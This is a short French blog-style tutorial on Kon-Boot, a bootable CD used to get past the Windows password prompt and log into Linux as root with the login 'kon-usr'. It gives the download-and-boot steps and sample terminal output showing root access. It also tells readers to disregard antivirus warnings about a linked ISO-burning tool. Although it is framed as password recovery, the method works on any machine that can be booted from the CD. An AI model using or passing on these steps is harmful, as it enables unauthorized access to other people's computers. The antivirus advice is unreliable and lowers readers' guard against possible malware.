Il vous suffit de récupérer l’archive suivante: télécharger kon boot, ou ici, et de graver l’ISO pour en réaliser un CD amorcable. Ensuite vous démarrez votre machine en bootant sur le CD. Sous Windows la seule chose que vous ayez à faire c’est de taper un mot de passe quelconque à la place de celui demandé, et vous arriverez sur le bureau comme un utilisateur correctement authentifié.

Concernant les autres distribs, vous bootez sur le CD également, puis vous laissez votre OS démarrer. Quand ce dernier vous demande votre login vous saisissez « kon-usr », si cela marche vous devez arriver loggé sur l’OS. Pour restaurer le système lorsque vous vous déloggez, il suffit juste d’utiliser « kon-fix ». Petit exemple pratique:

Ubuntu 8.04 torpeda tty1
torpeda login: kon-usr
# id
uid=0(root) gid=0(root)
# whoami
root


Sinon:

torpeda login: kon-usr
/bin/sh: Can't open kon-usr
FIX: type 'kon-fix' as login


Pour ceux qui ont du mal à graver l’iso à l’aide de softs traditionnels type Nero, vous pouvez (et devez) télécharger Iso Burner. Si votre antivirus râle, le site de l’auteur dit que c’est un fait connu, mais que ce soft n’est évidement en rien un virus.

Voila avec cette méthode vous pouvez retrouver votre mot de passe Windows XP, retrouver votre mot de passe root pour Ubuntu. Ce petit soft va vraiment faire beaucoup de bruit, simplicité, aucune modification et pour ma part, du jamais vu. Généralement c’est du bruteforce ou autre, mais pas du bypass ainsi sans aucune modification système.